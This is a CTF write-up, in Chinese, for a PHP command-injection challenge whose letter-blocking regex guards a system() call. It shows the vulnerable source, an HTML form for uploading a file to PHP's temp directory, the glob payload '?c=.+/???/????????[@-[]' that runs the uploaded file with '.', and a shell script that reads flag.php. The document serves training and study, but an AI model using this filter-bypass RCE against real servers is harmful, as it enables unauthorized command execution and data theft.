
[!IMPORTANT]
linux文件上传,.读取,glob正则
0x01#
访问靶场,回显源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| <?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 20:03:51
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
// 你们在炫技吗?
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
|
0x02#
[!NOTE]
代码审计
过滤字段新增字母大小写过滤
构造payload思路:#
- 过滤字段无数字,尝试使用纯通配符匹配/bin/base64 flag.php
- 过滤字段无数字,尝试使用纯通配符匹配/bin/bzip2 flag.php以压缩flag.php进行下载
- 无数字RCE构造,此题未过滤
.。而在linux中,.可以执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以==post上传一个包含命令==的文件,然后通过.来执行文件中的命令即可读到flag。 - 在linux中,被post上传的文件通常位于
/tmp/phpXXXXXX目录下(后六位为随机生成的字母)。故可以使用通配符/???/?????????匹配。 - 通常情况下,tmp的类似文件名的文件有多个,与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位
@,把Z改为Z的后一位[来匹配大写字母。
0x03#
命令执行POC(也可使用hackbar)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
|
在POST头加入传参以执行文件post提交的文件内包含的命令
1
| ?c=.+/???/????????[@-[]
|
文件内命令脚本
1
2
3
4
5
| #!/bin/sh
ls
#!/bin/sh
cat/var/www/html/flag.php
|
目录查看后打开flag.php后获得flag